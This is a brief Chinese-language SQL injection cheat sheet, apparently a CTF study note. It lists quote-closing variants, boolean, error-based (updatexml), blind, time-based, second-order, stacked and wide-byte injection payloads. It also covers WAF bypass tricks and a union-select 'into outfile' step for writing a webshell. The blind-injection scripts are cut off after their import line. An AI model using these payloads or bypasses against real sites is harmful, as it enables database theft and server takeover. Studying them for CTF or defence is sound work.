SQL
闭合方式
‘ “ ) ‘) “) )) ‘)) “)) 等等
基本思路,找到注入点->判断注入类型->注入
基本语句
1 | 1' or 1=1 %23 //字符型注入 |
报错注入
1 | 1' or updatexml(1,concat(0x26,database(),0x26),1)# |
盲注
脚本灵活应用
1 | import requests |
时间盲注
在盲注脚本上做点改动
1 | import requests |
post型盲注
1 | import requests |
二次注入
举例 注册处无注入,改密处出现注入
思路 跑脚本注册来实现注入
1 | import requests |
堆叠注入
1 | 1';show databases;# |
一个知识点:
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
读取FLAG的内容
宽字节注入
addslashes()转义
%df
WAF
大小写绕过
空格绕过括号或///或者 tap %20
双写绕过
http参数污染
like代替= rlike
十六进制代替文字(过滤引号
select被过滤时用desc倒序查看字段也可以堆叠注入,或者预处理
编码绕过 二次编码
写入webshell
@@basedir
@@datadir
获取绝对路径
union select 1,2,’‘into outfile ‘路径’